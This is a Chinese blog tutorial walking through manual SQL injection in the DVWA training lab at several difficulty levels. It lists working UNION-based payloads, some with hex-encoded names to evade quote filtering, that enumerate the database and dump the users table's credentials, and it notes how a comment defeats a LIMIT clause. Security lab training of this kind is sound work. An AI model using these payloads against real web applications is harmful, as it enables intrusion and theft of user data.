DVWA靶场实操演示(二)

211 阅读3分钟

开启掘金成长之旅!这是我参与「掘金日新计划 · 12 月更文挑战」的第4天,点击查看活动详情 DVWA靶场实操演示(二)

DVWA靶场实操演示

1 . SQL手工注入 (对应 SQL Injection 模块)

SQL注入

SQL注入是将Web页面的原URL、表单域或数据包输入的参数,修改拼接成SQL语句,传递给Web服务器,进而传给数据库服务器以执行数据库命令。如Web应用程序的开发人员对用户所输入的数据或cookie等内容不进行过滤或验证(即存在注入点)就直接传输给数据库,就可能导致拼接的SQL被执行,获取对数据库的信息以及提权,发生SQL注入攻击。

手工注入的简要步骤

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

各难度演示

代码审计

image.png

1'or 1=1# // 判断是否存在注入,注入是字符型还是数字型

1'order by 2#  // 猜解SQL查询语句中的字段数

-1'union select 1,2# // 确定显示的字段顺序

-1'union select 1,database()# // 获取当前数据库

-1'union select 1,table_name from information_schema.tables where table_schema='dvwa'#

(-1'union select 1, group_concat(table_name) from information_schema.tables where table_schema='dvwa'#) // 获取数据库中的表

-1'union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#  // 获取表中的字段名

-1'union select group_concat(user_id,first_name),group_concat(user,password) from users# // 获取想要的信息

代码审计

image.png 漏洞利用

虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。

1' or 1=1#

1 order by 2#

-1 union select 1,2#

-1 union select 1,database()#

-1 union select 1,table_name from information_schema.tables where table_schema=0x64767761#

(-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=0x64767761#)

-1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273#

-1 union select group_concat(user_id,first_name),group_concat(user,password) from users#

代码审计

image.png

方法(操作步骤详见视频)

漏洞利用

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉;其余步骤与低一致

查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转(页面重定向跳转),这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

Impossible  

代码审计

image.png 有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家!下章见哦!各位 有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家! 有问题欢迎留言和评论,大家一起学习和探讨,本次分享到此结束,谢谢大家!